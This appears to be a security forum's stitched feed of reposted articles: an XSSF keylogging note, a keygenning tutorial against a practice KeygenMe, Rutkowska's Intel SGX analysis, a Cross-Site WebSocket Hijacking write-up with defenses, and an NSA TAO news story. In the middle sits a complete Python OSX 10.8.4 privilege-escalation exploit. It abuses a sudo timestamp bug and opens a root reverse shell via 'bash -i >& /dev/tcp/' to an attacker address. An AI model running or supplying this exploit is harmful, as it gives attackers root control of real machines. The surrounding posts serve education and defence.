sau nu. Fisierele pe care le vreti analizate le uploadati undeva intr-o arhiva cu parola. Pentru simplitate, folosti parola: "rst"! Sunt permise tutorialele despre "tehnici malware" cat timp totul este in scopuri educative (obligatoriu de specificat in post). Exista o conferinta internationala pe tema dezvoltarii malware, Malcon, personal nu vad de ce am opri lumea sa invete cum functioneaza cu adevarat un astfel de program.

Xssf Framework : Key-Logging https://www.youtube.com/watch?v=aEvHHERho8E&feature=player_embedded Description: KEY LOGGING WITH XSSF Exploit - use auxillary/xssf/public/misc/logkeys Sursa: Xssf Framework : Key-Logging

Car Immobilizer Hacking Description: Car manufacturers nicely illustrate what _not_ to do in cryptography. Immobilizers have for a long time increased the difficulty of stealing cars. Older immobilizer transponders defeated thieves by requiring non-trivial RF skills for copying keys. Current transponders go one step further by employing cryptographic functions with the potential of making car cloning as difficult as breaking long-standing mathematical problems. Cryptography, however, is only as strong as the weakest link of key management, cipher strength, and protocol security. This talk discusses weak links of the main immobilizer technologies and their evolution over time. For More Information : - SIGINT 2013 Sursa: Car Immobilizer Hacking

Lsa (Local Security Authority) Secrets-Memory Analysis Description: In this video you will learn how forensics investigators can get the password from the registry and LSA secrets, using a memory dump and Using Volatility Framework. Sursa: Lsa (Local Security Authority) Secrets-Memory Analysis

[h=1]Keygenning: Part I[/h]Souhail Hammou August 30, 2013 Introduction : A key generator or a Keygen is a computer program that will generate a valid « Product Serial or Key » in order to completely register a software. The key generation process may require a name or e-mail to generate the serial, in other cases where no name or e-mail is required the validity of the serial may be checked by relying on hardware or using an algorithm that will play with the serial parts in order to determine if the provided key is correct or not. Different from patching and serial phishing, keygenning is defined as one of the hardest cracking techniques based on the fact that when coding, a working keygen you need to fully understand how the serial checking algorithm is working. This algorithm may relay on cryptography for instance MD5 hashing. So after understanding how the serial checking algorithm works, the reverser must code a computer program in thier favorite programming language that will generate a valid key, serial or license for the targeted software. If the software requires a name or e-mail and they are involved in the generation algorithm inside the targeted software, the reverser has many ways to code a keygen : one of the simplest is to program a keygen that will relay on the SAME instructions used by the software to generate the serial. I think that this is what we call a « Ripped Keygen » . In my point of view, I don’t think that this is a good practice of keygenning because in many cases it’s similar to a copy/paste. The best thing that can be done is coding an « Unripped Keygen », that will do the same but using a different set of instructions which will make you learn far better than ripping the keygeneration routine itself. I – KeygenMe : A keygenMe is a computer program completely made by reververs for other reversers, the only accepted solution for the KeygenMe is coding a valid keygen that will generate a valid serial or key according to what the keygenMe needs. To make it « fun » and interesting I managed to code a KeygenMe in my favorite programming langage X86 assembly / MASM syntax with a serial checking algorithm that you will see in details, later in this article. The KeygenMe and Keygen download links are in the references below. So I’ll pretend that I have Zero-knowledge about this KeygenMe and start from the examination until completely coding a Keygen. Let’s get started. Examining the KeygenMe : First of all, before starting to debug the KeygenMe you have to see what it demands from you: is it a serial ? A license file ? … etc Let’s open it and see what it needs : As you can clearly see, the KeygenMe needs our email address and a serial number. After entering a random WRONG serial the KeygenMe prints “Invalid Serial”. With Zero-knowledge you can’t actually guess if, the serial is generated based on the e-mail or not, only debugging this KeygenMe will get you the answer. So let’s open it inside Immunity and see what it has for us. I will start by checking what happens exactly after providing our e-mail to the KeygenMe: Click to Enlarge As you see, I tried to write short comments in front of important instructions. So what the KeygenMe does with our e-mail, is checking for its validity by seeing if it has the “@” sign in it and if there are at least 4 characters before the @ sign. Keep in mind that we’re not sure that the mail is used or not .Simply because it’s still stored at memory address 00403150. As the serial checking routine is a little bigger to be shown in one image, I will explain it to you part by part. Let’s see what the KeygenMe dœs directly after providing an input string, as you saw this input « 111122223333444455556666 » won’t get us anywhere. Let’s discover why : Click to Enlarge You can clearly see that the KeygenMe will check the input length, check if the string « ITS– » is present then locate 3 more dashes (–). As a result the serial general format should be given by the user this way : ITS-XXXX-XXXX-XXXX-XXXX, where ITS– is a harcoded string and X’s are unknown for us in the mean time. Now let’s start analyzing the next part : Click to Enlarge This set of instructions will simply skip the first DWORD which is “ITS-” and place each of the fourth different parts of the serial in an seperated memory location. For example the first part of the serial which will come after the hardcoded string, will be placed in a DWORD that is located in memory address 004051A8. We can suppose now that the serial checking algorithm will deal with each part of the serial alone, but we cannot judge yet because the algorithm may also link between those different parts. Anyway, let’s see what the next instructions are dealing with: Click to Enlarge In this phase, we started to deal with the serial checking algorithm. The serial that we have to provide must have 5 parts. Each part is recognized by a dash “-”. I said that the first part is hardcoded so in the algorithm the KeygenMe will directly start dealing with the second part. Let’s suppose that we provided this serial to the KeygenMe : ITS-1111-2222-3333-4444 If we had provided this serial, all the previous checks would have gone right. But this check wouldn’t have gone right because simply the 2nd part of the serial which is “1111? is WRONG. Let’s try to see what’s wrong and how can we fix that. As you can clearly see the KeygenMe works on moving the DWORD in the first part into EAX register, our input is “1111? so the EAX register should hold “31313131? which is the translation of “1111? from ASCII into a Hexadecimal format. Now twill substract « 30303030 » from EAX resulting in « 01010101 ». This value will replace the existing value in 004051A8. Now, the KeygenMe will try to do a simple addition between those bytes : 01 + 01 + 01 + 01 = 04 which is not 10h, that’s why we will jump into the “invalid serial” message. For the mean time you just need to note what you discovered here in a Notepad or somewhere you can remember it and move on to the third part of the checking routine. Click to Enlarge The 3rd part checking is quite different from the second one, it will simply compare the first character of our input to the letter “O”, then adds the next two bytes to the 4Fh (which is O in hex) and substracts the last byte from the addition result, the final result should be held in BL and equals 8Fh. Note: You can conclude that in this part it’s preferable to use Capital letters starting in hexadecimal from 41h to 5Ah in the serial (using numbers is not a bad idea either). For now, let’s move on to the fourth part checking : Click to Enlarge The 4th part checking set of instructions are similar to the second part, the only difference that you can see is that 2 is substracted from the last byte of the 4th part of the serial. Then the resulted value is added to the previous total. The final result should be 10h. E.I : If the user managed to pass all the previous checks with correct input or by patching jumps which is RESTRICTED in a KeygenMe. Here’s what will happen with the input “3333? : 33333333 – 30303030 = 03 03 03 03. Then : 03 + 03 + 03 = 09, and the substraction : 03 – 02 = 01. And the addition finally : 09 + 01 = 0Ah which is different from 10h, the jump will be then taken to the invalid serial message routine. Let’s see what the last check has for us: Click to Enlarge So, the same thing as the second part of the serial is happening here, the only difference is that the resulted value should be 12h instead of 10h. Then we have the conditional jump that will take us to the unwanted message when the resulted value differs from 12h. Now as we discovered together how the KeygenMe works on checking the validity of our serial, part by part and that the e-mail has no relation at all with the serial checking algorithim let’s go and code a keygen for it. II – Writing a Valid Keygen: So now, we need to program a Keygen that will generate an infinite number of Random serials.So you will have to write it in your favorite programming language. So to practice you are freely welcome to write the Keygen in any language you want and why not e-mail me your keygen to check it. Random Value Generation : One of the problems that you may face is how to code a keygen that will make you able to generate random characters for the serial. Well, there are several ways to achieve this and I’m about to introduce you some techniques : - GetLocalTime : This API will work on getting the current date and time, the interesting thing here is taking advantage of seconds or milliseconds (which occupy the sixth and the seventh words in the SYSTEMTIME structure) in order to generate a value especially if you’re working on a multiple serial generation. -GetTickCount : This is also a Win32 API that will retreive the milliseconds that were elapsed since the system was started (MSDN), GetTickCount will return a 32bits value to eax register. We can take advantage of this returned value especially AL or AH if we’re interested in one byte. In addition, setting conditions in the code is obligatory to get the value in a specific range (Printable Characters). -Other Methods : There are many ways to generate random values, some of them are related to cryptography. Windows is providing CryptGenRandom function for this purpose. Random Value Generation & Looping: Let’s get back to the point where I said you must provide certain conditions when generating a random value, there are two cases here when using GetTickCount API : The first one is obligatory, you’ll need to set a loop where the return value in AL or AH (if you’re interested in generating 1 byte) must be printable and/or in a specific ASCII characters range. The second one is decided by the serial checking algorithm that will show you if there are additional conditions for example the Software will not accept a serial where two identical consecutive characters are provided. This is the main reason why the serial generation process may take some seconds, because the keygen will keep looping until the right value is found relaying on conditions provided. We can consider this as a drawback. However, we can turn this into a positive point in our keygen with a message that is telling the user to wait for a couple seconds until the valid serial is generated. Serial Generation : In the KeygenMe that we analyzed you noticed that each part of the serial (4 characters in each part) is checked alone, and also it depends on simple math operations like addition and substraction. So to generate a valid part of the serial we will need to set 3 random characters and solve a simple equation to determine the missing characters to get a valid serial. Now, you may realize that additional loops must take place which will check if the result of the equation is also a printable ASCII character or not. The Keygen: Here is the Keygen source code written in x86 ASM / MASM32 syntax (some code is additional in the serial checking algorithm like trying to avoid two consecutive identical characters): The serial generation steps are well commented step by step : https://gist.github.com/SouhailHammou/0746b573136ba3ca0e67 Running the keygen : Assemble then link the keygen’s source code and run it . You will be able to generate multiple valid serial numbers for the KeygenMe by pressing Return key. Click to Enlarge III – Conclusion : In this article you were able to see how to analyze a Serial Checking Algorithm and code a valid key generator that will help you generate different serial numbers. No hashing or cryptography was present in this KeygenMe and the algorithm was quite simple. In the next part I will try to introduce a more harder KeygenMe with a complete tutorial on how to code a valid Keygen for it. References: KeygenMe & Keygen download : IS-KeyGenning Part1.zip Keygen Source Code : https://gist.github.com/SouhailHammou/0746b573136ba3ca0e67 GetTickCount function (Windows) SYSTEMTIME structure (Windows) Keygen - Wikipedia, the free encyclopedia Crackme - Wikipedia, the free encyclopedia Sursa: Keygenning: Part I

[h=3]Thoughts on Intel's upcoming Software Guard Extensions (Part 1)[/h] Intel Software Guard Extensions (SGX) might very well be The Next Big Thing coming to our industry, since the introduction of Intel VT-d, VT-x, and TXT technologies in the previous decade. It apparently seem to promise what so far has never been possible – an ability to create a secure enclave within a potentially compromised OS. It sounds just too great, so I decided to take a closer look and share some early thoughts on this technology. Intel SGX – secure enclaves within untrusted world! Intel SGX is an upcoming technology, and there is very little public documents about it at the moment. In fact the only public papers and presentations about SGX can be found in the agenda of one security workshop that took place some two months ago. The three papers from Intel engineers presented there provide a reasonably good technical introduction to those new processor extensions. You might think about SGX as of a next generation of Intel TXT – a technology that has never really took off, and which has had a long history of security problems disclosed by certain team of researchers Intel TXT has also been perhaps the most misunderstood technology from Intel – in fact many people thought about TXT as if it already could provide security enclaves within untrusted OS – this however was not really true (even ignoring for our multiple attacks) and I have spoke and wrote many times about that in the past years. It's not clear to me when SGX will make it to the CPUs that we could buy in local shops around the corner. I would be assuming we're talking about 3-5 years from now, because the SGX is not even described in the Intel SDM at this moment. Intel SGX is essentially a new mode of execution on the CPU, a new memory protection semantic, plus a couple of new instructions to manage this all. So, you create an enclave by filling its protected pages with desired code, then you lock it down, measure the code there, and if everything's fine, you ask the processor to start executing the code inside the enclave. Since now on, no entity, including the kernel (ring 0) or hypervisor (ring “-1”), or SMM (ring “-2”) or AMT (ring “-3”), has no right to read nor write the memory pages belonging to the enclave. Simple as that! Why have we had to wait so long for such technology? Ok, it's not really that simple, because we need some form of attestation or sealing to make sure that the enclave was really loaded with good code. The cool thing about an SGX enclave is that it can coexist (and so, co-execute) together with other code, such all the untrusted OS code. There is no need to stop or pause the main OS, and boot into a new stub mini-OS, like it was with the TXT (this is what e.g. Flicker tried to do, and which was very clumsy). Additionally, there can be multiple enclaves, mutually untrusted, all executing at the same time. No more stinkin' TPMs nor BIOSes to trust! A nice surprise is that SGX infrastructure no longer depends on the TPM to do measurements, sealing and attestation. Instead Intel has a special enclave that essentially emulates the TPM. This is a smart move, and doesn't decrease security in my opinion. It surely makes us now trust only Intel vs. trusting Intel plus some-asian-TPM-vendor. While it might sound like a good idea to spread the trust between two or more vendors, this only really makes sense if the relation between trusting those vendors is expressed as “AND”, while in this case the relation is, unfortunately of “OR” type – if the private EK key gets leaked from the TPM manufacture, we can bypass any remote attestation, and no longer we need any failure on the Intel's side. Similarly, if Intel was to have a backdoor in their processors, this would be just enough to sabotage all our security, even if the TPM manufacture was decent and played fair. Because of this, it's generally good that SGX allows us to shrink the number of entities we need to trust down to just one: Intel processor (which, these days include the CPUs as well as the memory controller, and, often, also a GPU). Just to remind – today, even with a sophisticated operating system architecture like those we use in Qubes OS, which is designed with decomposition and minimizing trust in mind, we still need to trust the BIOS and the TPM, in addition to the processor. And, of course, because SGX enclaves memories are protected against any other processor mode's access, so SMM backdoor no longer can compromise our protected code (in contrast to TXT, where SMM can subvert a TXT-loaded hypervisor), nor any other entity, such as the infamous AMT, or malicious GPU, should be able to do that. So, this is all very good. However... Secure Input and Output (for Humans) For any piece of code to be somehow useful, there must be a secure way to interact with it. In case of servers, this could be implemented by e.g. including the SSL endpoint inside the protected enclave. However for most applications that run on a client system, ability to interact with the user via screen and keyboard is a must. So, one of the most important questions is how does Intel SGX secures output to the screen from an SGX enclave, as well as how does it ensure that the input the enclave gets is indeed the input the user intended? Interestingly, this subject is not very thoroughly discussed in the Intel papers mentioned above. In fact only one paper briefly mentions Intel Protected Audio Video Path (PVAP) technology that apparently could be used to provide secured output to the screen. The paper then references... a consumer FAQ onBlueRay Disc Playback using Intel HD graphics. There is no further technical details and I was also unable to find any technical document from Intel about this technology. Additionally this same paper admits that, as of now, there is no protected input technology available, even on prototype level, although they promise to work on that in the future. This might not sound very surprising – after all one doesn't need to be a genius to figure out that the main driving force behind this whole SGX thing is the DRM, and specifically protecting Holywwod media against the pirate industry. This would be nothing wrong in itself, assuming, however, the technology could also have some other usages, that could really improve security of the user (in contrast to the security of the media companies). We shall remember that all the secrets, keys, tokens, and smart-cards, are ultimately to allow the user to access some information. And how does people access information? By viewing in on a computer screen. I know, I know, this so retro, but until we have direct PC-brain interfaces, I'm afraid that's the only way. Without properly securing the graphics output, all the secrets can be ultimately leaked out. Also, how people command their computers and applications? Well, again using this retro thing called keyboard and mouse (touchpad). However secure our enclave might be, without secured input, the app would not be able to distinguish intended user input from simulated input crafted by malware. Not to mention about such obvious attacks as sniffing of the user input. Without protected input and output, SGX might be able to stop the malware from stealing the user's private keys for email encryption or issuing bank transactions, yet the malware will still be able to command this super-secured software to e.g. decrypt all the user emails and later steal the screenshots of all the plaintext messages (with a bit of simple programming, the screenshot's could be turned back into nice ASCII text for saving on bandwidth when leaking them out to a server in Hong Kong), or better yet, perhaps just forward them to an email address that the attacker controls (perhaps still encrypted, but using the attackers key). But, let's ignore for a moment this “little issue” of lack of protected input, and lack of technical documentation on how secure graphics output is really implemented. Surely it is thinkable that protected input and output could be implemented in a number of ways, and so let's hope Intel will do it, and will do right. We should remember here, that whatever mechanism Intel is going to use to secure the graphics and audio output, it surely will be an attractive target of attacks, as there is probably a huge money incentive for such attacks in the film illegal copying business. Securing mainstream client OSes and why this is not so simple? As mentioned above, for SGX enclaves to be truly meaningful on client systems we need protected input and output, to and from the secured enclaves. Anyway, lets assume for now that Intel has come up with robust mechanisms to provide these. Let's now consider further, how SGX could be used to turn our current mainstream desktop systems into reasonably secure bastions. We start with a simple scenario – a dedicated application for viewing of incoming encrypted files, say PDFs, performing their decryption and signature verification., and displaying of the final outcome to the user (via protected graphics path). The application takes care about all the key management too. All this happens, of coruse, inside an SGX enclave(s). Now, this sounds all attractive and surely could be implemented using the SGX. But what about if we wanted our secure document viewer to become a bit more than just a viewer? What if we wanted a secure version of MS Word or Excel, with its full ability to open complex documents and edit them? Well it's obviously not enough to just put the proverbial msword.exe into a SGX enclave. It is not, because the msword.exe makes use of million of other things that are provided by the OS and 3rd libraries, in order to perform all sorts of tasks it is supposed to do. It is not a straightforward decision to draw a line between those parts that are security sensitive and those that are not. Is font parsing security critical? Is drawing proper labels on GUI buttons and menu lists security critical? Is rendering of various objects that are part of the (decrypted) document, such as pictures, security critical? Is spellchecking security critical? Even if the function of some of a subsystem seem not security critical (i.e. not allows to easily leak the plaintext document out of the enclave), let's not forget that all this 3rd party code would be interacting very closely with the enclave-contained code. This means the attack surface exposed to all those untrusted 3rd party modules will be rather huge. And we already know it is rather not possible to write a renderer for such complex documents as PDFs, DOCs, XLS, etc, without introducing tons of exploitable bugs. And these attack are not coming now from the potentially malicious documents (against those we protect, somehow, by parsing only signed document from trusted peers), but are coming from the compromised OS. Perhaps it would be possible to take Adobe Reader, MS Word, Powerpoint, Excel etc, and just rewrite every of those apps from scratch in a way that they were properly decomposed into sensitive parts that execute within SGC enclave(s), and those that are not-sensitive and make use of all the OS-provided functionality, and further define clean and simple interfaces between those parts, ensuring the “dirty” code cannot exploit the sensitive code. Somehow attractive, but somehow I don't see this happening anytime soon. But, perhaps, it would be easier to do something different – just take the whole msword.exe, all the DLLs it depends on, as well as all the OS subsystems it depends on, such as the GUI subsystem, and put all of this into an enclave. This sounds like a more rational approach, and also more secure. Only notice one thing – we just created... a Virtual Machine with Windows OS inside and the msword.exe that uses this Windows OS.. Sure, it is not a VT-x-based VM, it is an SGX-based VM now, but it is largely the same animal! Again, we came to the conclusion why the use of VMs is suddenly perceived as such an increase in security (which some people cannot get, claiming that introducing VM-layer only increases complexity) – the use of VMs is profitable because of one of thing: it suddenly packs all the fat libraries- and OS-exposed APIs and subsystems into one security domain, reducing all the interfaces between this code in the VM and the outside world. Reducing of the interfaces between two security domains is ALWAYS desirable. But our SGX-isolated VMs have one significant advantage over the other VM technologies we got used to in the last decade or so – namely those VMs can now be impenetrable to any other entity outside of the VM. No kernel or hypervisor can peek into its memory. Neither can the SMM, AMT, or even a determined physical attacker with DRAM emulator, because SGX automatically encrypts any data that leave the processor, so everything that is in the DRAM is encrypted and useless to the physical attacker. This is a significant achievement. Of course SGX, strictly speaking, is not a (full) virtualization technology, it's not going to replace VT-x.. But remember we don't always need full virtualization, like VT-x, often we can use paravirtualization and all we need in that case is a good isolation technology. For examaple, Xen uses paravirtualization for Linux-based PV VMs, and uses good-old ring3/ring0 separation mechanism to implement this, and the level of isolation of such PV domains on Xen is comparable to the isolation of HVMs, which are virtualized using VT-x. To Be Continued In the next part of this article, we will look into some interesting unconventional uses of SGX, such as creating malware that cannot be reversed engineered, or TOR nodes or Bitcoin mixers that should be reasonably trusted, even if we don't trust their operators. Then we will discuss how SGX might profoundly change the architecture of the future operating systems, and virtualization systems, in a way that we will no longer need to trust (large portions of) their kernels or hypervisors, or system admins (Anti Snowden Protection?) And, of course, how our Qubes OS might embrace this technology in the future. Finally, we should discuss the important issue of whether this whole SGX, while providing many great benefits for system architects, should really be blindly trusted? What are the chances of Intel building in backdoors there and exposing those to the NSA? Is there any difference in trusting Intel processors today vs. trusting the SGX as a basis of security model of all software in the future? Posted by Joanna Rutkowska at Friday, August 30, 2013 Sursa: The Invisible Things Lab's blog: Thoughts on Intel's upcoming Software Guard Extensions (Part 1)

#!/usr/bin/python# Original MSF Module: # https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudo_password_bypass.rb ################################################################################################### # Exploit Title: OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell # Date: 08-27-2013 # Exploit Author: David Kennedy @ TrustedSec # Website: https://www.trustedsec.com # Twitter: @Dave_ReL1K # Tested On: OSX 10.8.4 # # Reference: http://www.exploit-db.com/exploits/27944/ # # Example below: # trustedsec:Desktop Dave$ python osx_esc.py # [*] Exploit has been performed. You should have a shell on ipaddr: 127.0.0.1 and port 4444 # # attacker_box:~ Dave$ nc -l 4444 # bash: no job control in this shell # bash-3.2# ################################################################################################### import subprocess # IPADDR for REVERSE SHELL - change this to your attacker IP address ipaddr = "192.168.1.1" # PORT for REVERSE SHELL - change this to your attacker port address port = "4444" # drop into a root shell - replace 192.168.1.1 with the reverse listener proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) proc.stdin.write("systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port)) print """ ############################################################### # # OSX < 10.8.4 Local Root Priv Escalation Root Reverse Shell # # Written by: David Kennedy @ TrustedSec # Website: https://www.trustedsec.com # Twitter: @Dave_ReL1K # # Reference: http://www.exploit-db.com/exploits/27944/ ############################################################### """ print " [*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s" % (ipaddr,port)

Ce parere aveti despre o categorie special dedicata "malware"-ului? Mai exact: 1. Sample-uri de malware (ideea mi-a venit cand, avand laptopul unui prieten, am gasit o dracie interesanta care rebooteaza claculatorul cand vrei sa deschizi cmd sau autoruns, care "crapa", nu stiu cum, Task Manager, cand vrei sa inchizi procese si multe altele) - cu link de unde le putem descarca si analiza. 2. Analiza malware: cand mai avem timp, poate unii dintre noi ne mai uitam peste astfel de programele si vedem ce fac 3. Postare de programe pentru a fi analizate: aici oricine, zic eu minim 100 de posturi, va posta un program in care nu are incredere si "ne vom uita peste el". Nu cred ca va sta nimeni sa ii faca Reverse Engineering, dar o analiza rapida: se pune la startup, se autocopiaza, trimite cine stie ce parole de Firefox.. se poate face 4. Articole pe aceasta tema: articole scrise de alte persoane in care prezinta analiza unor malware, lucruri noi si metode interesante de a functiona... Si nu se rezuma doar la executabile, diverse applet-uri Java, sau cod Javascript obfuscat care ascunde cine stie ce, sunt binevenite 5. Chiar si coduri sursa de malware peste care ne-am putea uita ar fi ok Sunt doar cateva idei, ce parere aveti? Ce alte sugestii aveti pentru o astfel de categorie? Votati daca s-ar merita sa se faca sau nu.

Cross-Site WebSocket Hijacking (CSWSH) The relatively new HTML5 WebSocket technique to enable full-duplex communication channels between browsers and servers is retrieving more and more attention from developers as well as security analysts. Using WebSockets developers can exchange text and binary messages pushed from the server to the browser as well as vice versa. During some experiments and pentests with WebSocket backed applications in the last few months I came across a scenario where developers might use WebSockets in a way to open up their applications to a vulnerability I call Cross-Site WebSocket Hijacking (CSWSH), which I will present in this short blog post. The protocol upgrade In order to create the full-duplex communication channel the WebSocket protocol requires a handshake (carried out over http:// or https://) to switch towards a WebSocket protocol. This handshake effectively upgrades the communication protocol to ws:// (or wss:// for SSL protected channels). But this upgrade phase is also a potential target to attack and Achilles' heel of using WebSockets inside an application that deals with non-public data, because it kind of bridges/transfers the HTTP(S)-based communication towards the WS(S)-based WebSocket protocol. The typical lifecycle of a WebSocket interaction between client & server goes as follows: Client initiates a connection by sending an HTTP(S) WebSocket handshake request. Server replies with a handshake response (all handled by the web application server transparently to the application) and sends a response status code of 101 Switching Protocols. From that point on both browser and server communicate using WebSocket API with a completely symmetrical connection (each party can send and retrieve text and binary messages). On the browser level this is defined by W3's HTML5 WebSocket API specification and at protocol level via RFC 6455 "The WebSocket Protocol". Let's take a closer look at this handshake request and inspect the request headers of such a handshake to upgrade the protocol to WebSockets (of an imaginary stock portfolio management application, which uses WebSockets to quickly push new stock quotes to logged-in users as well as retrieve stock orders from them): "GET /trading/ws/stockPortfolio HTTP/1.1" Host: www.some-trading-application.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Firefox/23.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Sec-WebSocket-Version: 13 Origin: https://www.some-trading-application.com Sec-WebSocket-Key: x7nPlaiHMGDBuJeD6l7y/Q== [COLOR=#ff0000]Cookie: JSESSIONID=1A9431CF043F851E0356F5837845B2EC[/COLOR] Connection: keep-alive, Upgrade Pragma: no-cache Cache-Control: no-cache Upgrade: websocket As you can see from the request headers of the HTTP(S) handshake request, the authentication data (in this example the Cookie header) is sent along with the upgrade handshake. The same would be true for HTTP-Authentication data. Both is correct behaviour of the browsers according to the aforementioned specification and RFC. Upon successful WebSocket handshake the server replies with the 101 Switching Protocols status code and from then on the ws:// or wss:// based connection is established between browser and server. The header Sec-WebSocket-Key is part of the browser/server handshake internals (to verify that the server has read and understood the request) and is automatically created by and taken care of the browser initiating the WebSocket request. Regarding client authentication during this handshake/upgrade phase the RFC 6455 reads as follows: This protocol doesn't prescribe any particular way that servers can authenticate clients during the WebSocket handshake. The WebSocket server can use any client authentication mechanism available to a generic HTTP server, such as cookies, HTTP authentication, or TLS authentication. RFC 6455 "The WebSocket Protocol", chapter 10.5 WebSocket Client Authentication This means to developers that they can use for example cookies or HTTP-Authentication to authenticate the WebSocket handshake request, as if it was a regular HTTP(S) web application request. Hijacking it cross-site Now let's consider what happens when a developer follows this well-known style of using session cookies to authenticate the WebSocket handshake/upgrade request within a logged-in (sensitive) part of a web application: Because WebSockets are not restrained by the same-origin policy, an attacker can easily initiate a WebSocket request (i.e. the handshake/upgrade process) from a malicious webpage targeting the ws:// or wss:// endpoint URL of the attacked application (the stock service in our example). Due to the fact that this request is a regular HTTP(S) request, browsers send the cookies and HTTP-Authentication headers along, even cross-site. Take a look at the WebSocket handshake/upgrade request when issued from a malicious webpage cross-site (visited by the victim while logged-in with our stock trading application). Here the WebSocket endpoint wss://www.some-trading-application.com/trading/ws/stockPortfolio is accessed from a malicious webpage at https://www.some-evil-attacker-application.com "GET /trading/ws/stockPortfolio HTTP/1.1" Host: www.some-trading-application.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Firefox/23.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Sec-WebSocket-Version: 13 [COLOR=#0000ff]Origin: https://www.some-evil-attacker-application.com[/COLOR] Sec-WebSocket-Key: hP+ghc+KuZT2wQgRRikjBw== [COLOR=#ff0000]Cookie: JSESSIONID=1A9431CF043F851E0356F5837845B2EC[/COLOR] Connection: keep-alive, Upgrade Pragma: no-cache Cache-Control: no-cache Upgrade: websocket As you can see, the browser sends the authentication information (in this example the session cookie) along with the WebSocket handshake/upgrade request. This is very similar to a Cross-Site Request Forgery (CSRF) attack scenario. But in the WebSocket scenario this attack can be extended from a write-only CSRF attack to a full read/write communication with a WebSocket service by physically establishing a new WebSocket connection with the service under the same authentication data as the victim. Therefore I call this attack vector Cross-Site WebSocket Hijacking (CSWSH). Effectively this allows the attacker in our scenario to read the victim's stock portfolio updates pushed via the WebSocket connection and update the protfolio by issuing write requests via the WebSocket connection. This is possible due to the fact that the server's WebSocket code relies on the session authentication data (cookies or HTTP-Authentication) sent along from the browser during the WebSocket handshake/upgrade phase. Another interesting observation is the Origin header that is sent along the WebSocket handshake/upgrade request. This is like in a regular CORS request utilizing Cross-Origin Resource Sharing: If this was a regular HTTP(S) CORS request, the browser would not let the JavaScript on the malicious webpage see the response, when the server does not explicitly allow it (via a matching Access-Control-Allow-Origin response header). But when it comes to WebSockets this "fail close" style of defaulting to "restrict response access" when the server does not explicitly allow cross-origin requests is inverted: In our example the server did not send any CORS response headers along, but the cross-site WebSocket request's response is still handled by the browser by properly establishing the full-duplex WebSocket connection. This demonstrates that WebSockets are not protected by the same-origin policy, so developers must not rely on this protection when it comes to developing WebSocket based applications. Clearly the CORS stuff has nothing to do with the WebSockets stuff, but they both utilize the same request header (Origin). Securing it As you've already noticed, securing an application against Cross-Site WebSocket Hijacking (CSWSH) attacks can be performed using two countermeasures: Check the Origin header of the WebSocket handshake request on the server! Use session-individual random tokens (like CSRF-Tokens) on the handshake request and verify them on the server. These simple but effective protections must be used as soon as you're using WebSockets inside an application which access the web session on the server-side to communicate and/or accept private data via the WebSocket channel. If you don't need to access the web session from the server-side WebSocket counterpart, just separately handle authorization and/or authentication using custom tokens or similar techniques within your WebSocket protocol and avoid relating it to the web session via cookies or HTTP-Authentication of the handshake request. Conclusion As a pentesterCheck for Cross-Site WebSocket Hijacking (CSWSH) attacks as soon as you notice any WebSocket based communication in the application you're analysing.As a security consultantMake your clients aware of the requirement to check Origin headers and educate them to secure all WebSocket handshakes using random tokens, like protecting against CSRF attacks.As a developerMake sure you are aware of this attack scenario and know how to employ the countermeasures securely into your application (at least when you need to access the web session from the application part that uses WebSockets or when you otherwise try to transfer non-public data over that channel). Better try to avoid accessing the web session from the server-side WebSocket counterpart and separately handle authorization and/or authentication using tokens or similar techniques within your protocol. by Christian Schneider on August 31st, 2013 Sursa: Cross-Site WebSocket Hijacking (CSWSH)

The NSA has its own team of elite hackers By Andrea Peterson, Published: August 29 at 4:51 pm NSA headquarters at Fort Meade, MD where TAO’s main team reportedly works (Wikipedia) Our Post colleagues have had a busy day. First, they released documents revealing the U.S. intelligence budget from National Security Agency (NSA) leaker Edward Snowden. Then they recounted exactly how the hunt for Osama bin Laden went down. In that second report, Craig Whitlock and Barton Gellman shared a few tidbits about the role of the government’s hacking unit, Tailored Access Operations (TAO) in the hunt, writing that TAO “enabled the NSA to collect intelligence from mobile phones that were used by al-Qaeda operatives and other ‘persons of interest’ in the bin Laden hunt.” So just what is Tailored Access Operations? According to a profile by Matthew M. Aid for Foreign Policy, it’s a highly secret but incredibly important NSA program that collects intelligence about foreign targets by hacking into their computers, stealing data, and monitoring communications. Aid claims TAO is also responsible for developing programs that could destroy or damage foreign computers and networks via cyberattacks if commanded to do so by the president. So, TAO might have had something to do with the development of Stuxnet and Flame, malware programs thought to have been jointly developed by the U.S. and Israel. The malware initially targeted the Iranian nuclear program, but quickly made its way into the digital wild. According to Aid, TAO’s primary base is in the NSA headquarters in Fort Meade. There, he says, some 600 members of the unit work rotating shifts 24-7 in an “ultramodern” space at the center of the base called the Remote Operations Center (ROC). The unit bears a striking resemblance to a Chinese hacking group described in a report released by cybesecurity company Mandiant earlier this year. The report indicated that that group, APT1, was likely organized by the Chinese military. Perhaps not so coincidentally, Aid says multiple confidential sources have told him that TAO has “successfully penetrated Chinese computer and telecommunications systems for almost 15 years,” in the process, “generating some of the best and most reliable intelligence information about what is going on inside the People’s Republic of China.” But for all the reported secrecy surrounding TAO’s activities, a quick search of networking site LinkedIn shows a number of current and former intelligence community employees talking pretty openly about the exploits. For instance, Brendan Conlon, whose page lists him as a former Deputy Chief of Integrated Cyber Operations for the NSA and former Chief of TAO in Hawaii, says that he led “a large group of joint service NSA civilians and contractors in executing Computer Network Exploitation (CNE) operations against target networks.” Barbara Hunt, who is listed as a former Director of Capabilities at TAO in Fort Meade, similarly claims she was “responsible for end-to-end development and capability delivery to build a versatile computer network exploitation effort.” Dean Schyvincht, who claims to currently be a TAO Senior Computer Network Operator 